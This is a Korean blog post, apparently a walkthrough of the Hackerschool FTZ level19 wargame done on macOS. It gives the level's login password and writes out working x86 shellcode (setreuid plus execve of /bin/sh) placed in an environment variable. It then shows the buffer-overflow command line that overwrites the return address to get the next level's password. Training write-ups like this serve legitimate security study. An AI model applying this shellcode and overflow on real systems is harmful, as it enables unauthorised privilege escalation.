해커스쿨 ftz Level19
MacOS에서 푸는 해커스쿨 ftz
해커스쿨 ftz level19 단계이다.
먼저 ftz서버를 실행한다.
서버 실행을 모르면 ftz trainer1 단계에 소개되어 있다.
Mac의 터미널을 열어 서버에 접속합니다.
명령어는
ssh -c aes128-cbc level19@서버ip
라고 입력합니다.
Id: level19, pw: swimming in pink 로 로그인을 하고 파일을 확인하였다.
hint를 확인하였는데 비교적 짧은 코드가 나왔다.
setreuid함수가 없어서 이를 포함한 쉘코드를 환경변수를 사용하여 풀어야겠다.
Gdb를 실행하였다.
Main함수의 구조를 살펴보니 44바이트를 채우고 shell 코드의 주소를 넣으면 될 것 같다.
tmp로 이동하여 환경변수에 등록하고 쉘코드의 주소를 불러왔다.
$export EGG=`python -c 'print "\x90"*20+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv
명령어들을 차례로 입력하여 0xbffffe30의 주소를 얻었다.
다시 돌아와 얻은 주소를 포함한 명령어를 입력하였다.
(python -c 'print "A"*44+"\x30\xfe\xff\xbf"'; cat) | ./attackme
입력창이 나오고 my-pass를 입력하니 level20의 패스워드가 나왔다.
끝.
'Security&Hacking > 시스템 해킹' 카테고리의 다른 글
웹 애플리케이션 취약점 CVE-2017-5638 (0) | 2020.05.03 |
---|---|
해커스쿨 ftz level20 (macOS) (0) | 2020.01.19 |
해커스쿨 ftz level18 (macOS) (0) | 2020.01.19 |
해커스쿨 ftz level17 (macOS) (0) | 2020.01.19 |
해커스쿨 ftz level16 (macOS) (0) | 2020.01.19 |